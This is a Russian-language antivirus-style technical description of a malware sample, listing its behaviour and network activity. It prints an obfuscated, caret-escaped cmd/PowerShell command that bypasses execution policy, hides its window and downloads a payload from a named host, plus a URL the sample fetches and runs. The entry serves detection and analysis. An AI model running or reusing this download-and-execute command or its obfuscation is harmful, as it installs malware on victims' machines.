Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PO^wersh^ELl.E^X^E^ -exE^c^uTIonpO^li^CY B^y^p^a^S^s^ -N^oPRofiLe ^-^w^IN^DOWSTyLe ^Hi^D^de^n ^(NEW^-ObjEC^T sy^st^em.^Net.^wEBC^LIeNt^)^.dO^wN^lo^aDF^ilE('http://www.zoerpoled...
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PO^wersh^ELl.E^X^E^ -exE^c^uTIonpO^li^CY B^y^p^a^S^s^ -N^oPRofiLe ^-^w^IN^DOWSTyLe ^Hi^D^de^n ^(NEW^-ObjEC^T sy^st^em.^Net.^wEBC^LIeNt^)^.dO^wN^lo^aDF^ilE('http://www.zoerpoled...' (со скрытым окном)
